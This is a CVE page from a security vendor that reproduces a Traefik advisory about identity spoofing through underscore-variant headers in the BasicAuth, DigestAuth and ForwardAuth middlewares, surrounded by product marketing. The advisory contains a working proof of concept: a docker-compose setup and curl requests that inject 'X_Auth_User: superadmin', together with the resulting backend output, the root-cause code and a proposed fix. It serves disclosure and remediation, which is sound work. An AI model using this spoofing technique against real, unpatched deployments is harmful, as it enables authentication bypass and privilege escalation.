CVE-2026-54763

CVE-2026-54763 is a high-severity security vulnerability in github.com/traefik/traefik/v2 (go), affecting versions <= 2.11.50. It is fixed in 2.11.51, 3.6.22, 3.7.6.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Traefik: Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth

There is a high severity vulnerability in Traefik's BasicAuth, DigestAuth, and ForwardAuth
middlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers
(e.g. X-Auth-User) before writing Traefik's own value, but did not account for
underscore-variant header names (e.g. X_Auth_User), which many backends normalize
identically to the dashed form. An attacker able to reach a protected route could inject
an underscore-variant header that survives Traefik's stripping and reaches the backend
alongside, or, on the unauthenticated ForwardAuth authResponseHeaders path, instead of
the value Traefik intended to set, spoofing identity or authorization context. This is
fixed by setting the new allowHeadersWithUnderscores: false entry point option, which
strips all headers with underscores in their names before routing.

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description

Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth

The fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, "BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added req.Header.Del(headerField) before the literal-key writeback in pkg/middlewares/auth/basic_auth.go and pkg/middlewares/auth/digest_auth.go. Go's Header.Del calls textproto.CanonicalMIMEHeaderKey which canonicalizes ASCII CASE and treats - as a word separator, so the fix correctly strips canonical-cased attacker headers (X-Auth-User, x-auth-user, X-AUTH-USER, etc.).

However, textproto.CanonicalMIMEHeaderKey does NOT treat _ as a separator. Attacker-supplied underscore-variant headers such as X_Auth_User survive Header.Del("X-Auth-User") intact and are forwarded to the backend alongside Traefik's own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP $_SERVER, nginx with underscores_in_headers on, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize _- equivalently or expose both forms to application code that may read the attacker's value.

This is the direct cross-cohort sibling of the threat model the maintainer accepted in CVE-2026-39858 (GHSA-5m6w-wvh7-57vm, "Forwarded alias spoofing pre-auth decision bypass"), which fixed the underscore-variant of the X-Forwarded-* family via isManagedXHeader in pkg/middlewares/forwardedheaders/forwarded_header.go. The CVE-2026-39858 advisory body states verbatim:

"When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context, such as a trusted scheme or host, through the alias headers and bypass authentication on protected routes without valid credentials."

The same threat model applies to the operator-configurable headerField (BasicAuth, DigestAuth) and authResponseHeaders (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (isManagedXHeader) was not extended to those middlewares. I verified the bypass end-to-end on traefik:v3.6.14 (the latest patched release containing both fixes) using a default-recommended canonical headerField: "X-Auth-User" config and reproduced the bypass with a single curl -H "X_Auth_User: superadmin" ... request alongside valid BasicAuth credentials.

The defect is present in four code paths at HEAD eec68dce064f843b4317c4393aaea81b6dea31d6:

  1. pkg/middlewares/auth/basic_auth.go:101-105, BasicAuth headerField
  2. pkg/middlewares/auth/digest_auth.go:99-103, DigestAuth headerField
  3. pkg/middlewares/auth/forward.go:304-310, ForwardAuth authResponseHeaders per-name writeback
  4. pkg/middlewares/ingressnginx/snippet/snippet.go:480-486, Ingress-NGINX snippet authResponseHeaders per-name writeback

The ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The authResponseHeaders mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens.

The fast proxy at pkg/proxy/fast/proxy.go:139 explicitly calls DisableNormalizing() on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard httputil.ReverseProxy path at pkg/proxy/httputil/proxy.go:55 likewise copies req.Header keys as-is during the wire write.

Affected versions

  • traefik v3.6.x ≤ 3.6.14, v3.7.x ≤ 3.7.0-rc.2, v2.11.x ≤ 2.11.43, and all earlier versions sharing the same auth middleware architecture.

The defect is present at HEAD post-CVE-2026-33433 fix (the fix added the Del line but the literal-key write defect-class survives for underscore variants).

Root cause

In pkg/middlewares/auth/basic_auth.go at HEAD eec68dc:

if b.headerField != "" {
    // TODO Deprecated we should add the header with canonical key.
    req.Header.Del(b.headerField)
    req.Header[b.headerField] = []string{user}
}

The TODO comment shows the maintainer is aware of the literal-key write problem in general (canonical-key write would solve the case-canonicalization issue more cleanly than the current Del + literal-write pair). The comment does not acknowledge the underscore-variant survival corollary.

pkg/middlewares/auth/digest_auth.go:99-103 and the two ForwardAuth paths follow the same Del + literal-write pattern. Each is independently exploitable; the underlying primitive defect is shared.

The maintainer's gold-standard primitive for handling this exact threat class is pkg/middlewares/forwardedheaders/forwarded_header.go:53-66:

func isManagedXHeader(key string) bool {
    if len(key) == 0 || key[0] != 'X' { return false }
    if _, ok := XHeadersSet[key]; ok { return true }
    if strings.IndexByte(key, '_') < 0 { return false }
    canonical := http.CanonicalHeaderKey(strings.ReplaceAll(key, "_", "-"))
    _, ok := XHeadersSet[canonical]
    return ok
}

This treats _- equivalence as a security requirement. It is reachable only via the static XHeadersSet membership check, which contains exclusively the X-Forwarded-* family + X-Real-Ip. Operator-configurable identity headers are out of scope of this primitive.

Proof of concept

Verified on traefik:v3.6.14 (the patched version, post-CVE-2026-33433 and post-CVE-2026-39858) using Docker compose. Full reproducer at https://github.com//traefik-ht1a-poc; commands below are verbatim.

Setup

# docker-compose.yml
services:
  traefik:
    image: traefik:v3.6.14
    command:
      - --providers.file.filename=/etc/traefik/dynamic.yml
      - --entrypoints.web.address=:80
    ports:
      - "8080:80"
    volumes:
      - ./traefik/dynamic.yml:/etc/traefik/dynamic.yml:ro
  echo:
    image: mendhak/http-https-echo:36
    environment:
      - HTTP_PORT=8888
# traefik/dynamic.yml, canonical headerField, recommended operator config
http:
  routers:
    protected:
      rule: "PathPrefix(`/`)"
      service: echo
      middlewares: [basic-auth]
  services:
    echo:
      loadBalancer:
        servers: [{url: "http://echo:8888"}]
  middlewares:
    basic-auth:
      basicAuth:
        users:
          - 'alice:$2b$05$FhDfYidZdDPuQjovYqcTAe22wHpQ/cILC7Tr2yAD6vLlvZh/Q45PC'   # alice:secret123
        headerField: "X-Auth-User"

docker compose up -d.

Test 1 (control, CVE-2026-33433 fix works for canonical case)

$ curl -s -u alice:secret123 -H "X-Auth-User: superadmin" http://localhost:8080/
{
  ...
  "x-auth-user": "alice",
  ...
}

The attacker's canonical X-Auth-User: superadmin was correctly stripped by Traefik's Del; the backend receives only Traefik's authenticated-user writeback alice.

Test 2 (HT-1A bypass, underscore variant survives)

$ curl -s -u alice:secret123 -H "X_Auth_User: superadmin" http://localhost:8080/
{
  ...
  "x-auth-user": "alice",
  "x_auth_user": "superadmin",
  ...
}

The underscore-variant x_auth_user: superadmin reached the backend intact, despite the Del("X-Auth-User") having executed. The backend sees both forms.

Test 3 (double-send, same result)

$ curl -s -u alice:secret123 \
    -H "X-Auth-User: superadmin" \
    -H "X_Auth_User: superadmin" \
    http://localhost:8080/
{
  ...
  "x-auth-user": "alice",       # Traefik's writeback
  "x_auth_user": "superadmin",  # attacker's underscore, survived Del
  ...
}

The canonical attacker header is stripped (Test 1 behavior). The underscore variant is forwarded.

Backend impact

The PoC's echo backend (mendhak/http-https-echo, Node.js) preserves both forms with the lowercase normalization Node.js applies. Application code reading req.headers["x-auth-user"] sees alice. Application code reading req.headers["x_auth_user"] sees superadmin.

For backends that normalize _- equivalently, meaning the attacker's value wins:

  • CGI / WSGI / PHP $_SERVER (RFC 3875 §4.1.18, header name uppercased with - replaced by _): both X-Auth-User and X_Auth_User map to HTTP_X_AUTH_USER. The last-set wins per the WSGI server's iteration order; many servers (gunicorn, uwsgi without --disable-logging, waitress) preserve both. Note: Apache + mod_php with default HttpProtocolOptions Strict filters underscore-headers from $_SERVER (this PoC's PHP backend test demonstrated the filter); Apache + mod_python, Apache + mod_wsgi without the strict mode, nginx + uwsgi, nginx + gunicorn, nginx + FastCGI, and standalone WSGI servers do NOT filter.
  • nginx with underscores_in_headers on (https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers): preserves underscore-variant headers and forwards them to upstream as separate values. Upstream application logic that does case-insensitive + underscore-insensitive matching (common pattern in security-sensitive code) merges them.
  • Tomcat / Java EE servlet containers: HttpServletRequest.getHeader(name) is case-insensitive; underscore handling is container-specific. Many normalize.
  • Application middleware (WAFs, log aggregators, security gateways, identity-aware proxies) that normalize header names before applying security policy: both forms collapse to the same authorization decision input.

Severity

I propose HIGH CVSS 7.5 for the BasicAuth / DigestAuth case and CRITICAL CVSS 9.1 for the ForwardAuth authResponseHeaders case (the latter requires no credentials).

CVSS 3.1 vector (BasicAuth / DigestAuth): AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N=7.5, one step above CVE-2026-33433 (which the maintainer scored MEDIUM 5.1 because it required misconfigured non-canonical headerField). HT-1A works against the canonical / recommended headerField configuration, broader operational scope.

CVSS 3.1 vector (ForwardAuth authResponseHeaders): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N=9.1, parallel to CVE-2026-39858 (HIGH 7.5) but achieves spoofing without credentials because the authResponseHeaders mechanism trusts headers exclusively from the auth server and the underscore variant defeats that trust boundary.

CWEs:

  • CWE-290 (Authentication Bypass by Spoofing)
  • CWE-178 (Improper Handling of Case Sensitivity), analogous to CVE-2026-29054
  • CWE-345 (Insufficient Verification of Data Authenticity), same as CVE-2026-35051

Suggested fix

Two equivalent approaches:

1. Extend Header.Del to handle underscore variants at the four call sites. Replace:

req.Header.Del(b.headerField)
req.Header[b.headerField] = []string{user}

with:

canonical := http.CanonicalHeaderKey(b.headerField)
// Strip canonical AND underscore-variant of the canonical key.
for key := range req.Header {
    if key == canonical || strings.EqualFold(strings.ReplaceAll(key, "_", "-"), canonical) {
        delete(req.Header, key)
    }
}
req.Header.Set(canonical, user)  // canonical-key write

This pairs the headerField primitive with the same _- equivalence that isManagedXHeader enforces for X-Forwarded-*.

2. Generalize the existing isManagedXHeader primitive into a stripHeaderAndVariants(headers http.Header, name string) helper in the forwardedheaders package and call it from basic_auth.go, digest_auth.go, forward.go, and snippet.go. Reusing the existing gold-standard primitive is the cleanest fix and minimizes future drift.

Either approach should also resolve the // TODO Deprecated we should add the header with canonical key. debt at basic_auth.go:102 and digest_auth.go:100 by writing to the canonical key (Header.Set(canonical, user)) instead of the literal b.headerField.

Why this is a Pattern-8 sibling, not a new CVE class

The combination of:

  1. CVE-2026-33433's fix scope (case-canonicalization for headerField)
  2. CVE-2026-39858's fix scope (underscore-variant for XHeadersSet)
  3. The defective primitive remaining at HEAD (the Del + literal-write pair at four call sites)

establishes that the maintainer accepts the threat model and has architectural primitives to fix it, but did not cross the two cohorts. The "primitive depth-audit" of the CVE-2026-33433 fix (reading the actual Header.Del implementation against the documented threat model and Go's canonicalization semantics) reveals the gap.

I confirmed there is no public PoC mentioning underscore-variant siblings of CVE-2026-33433 (WebSearched 2026-05-23). The fix-flurry from the April 2026 security release batch addressed the X-Forwarded family but not the headerField family.

Credit

Matteo Panzeri (GitHub matte1782). CVE credit requested.

AI-assistance disclosure

Static analysis, hypothesis writing, and hostile-review confirmation were assisted by Anthropic Claude (Opus 4.7). Live PoC reproduction, code-citation verification, and submission decision were made by the human author.

Impact

Affected versions

github.com/traefik/traefik/v2 (<= 2.11.50) github.com/traefik/traefik/v3 (<= 3.6.21) github.com/traefik/traefik/v3 (>= 3.7.0, <= 3.7.5)

Security releases

github.com/traefik/traefik/v2 → 2.11.51 (go) github.com/traefik/traefik/v3 → 3.6.22 (go) github.com/traefik/traefik/v3 → 3.7.6 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Frequently Asked Questions

  1. What is CVE-2026-54763? CVE-2026-54763 is a high-severity security vulnerability in github.com/traefik/traefik/v2 (go), affecting versions <= 2.11.50. It is fixed in 2.11.51, 3.6.22, 3.7.6.
  2. Which packages are affected by CVE-2026-54763?
    • github.com/traefik/traefik/v2 (go) (versions <= 2.11.50)
    • github.com/traefik/traefik/v3 (go) (versions <= 3.6.21)
  3. Is there a fix for CVE-2026-54763? Yes. CVE-2026-54763 is fixed in 2.11.51, 3.6.22, 3.7.6. Upgrade to this version or later.
  4. Is CVE-2026-54763 exploitable, and should I be worried? Whether CVE-2026-54763 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-54763 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-54763?
    • Upgrade github.com/traefik/traefik/v2 to 2.11.51 or later
    • Upgrade github.com/traefik/traefik/v3 to 3.6.22 or later
    • Upgrade github.com/traefik/traefik/v3 to 3.7.6 or later

Other vulnerabilities in github.com/traefik/traefik/v2

Stop the waste.
Protect your environment with Kodem.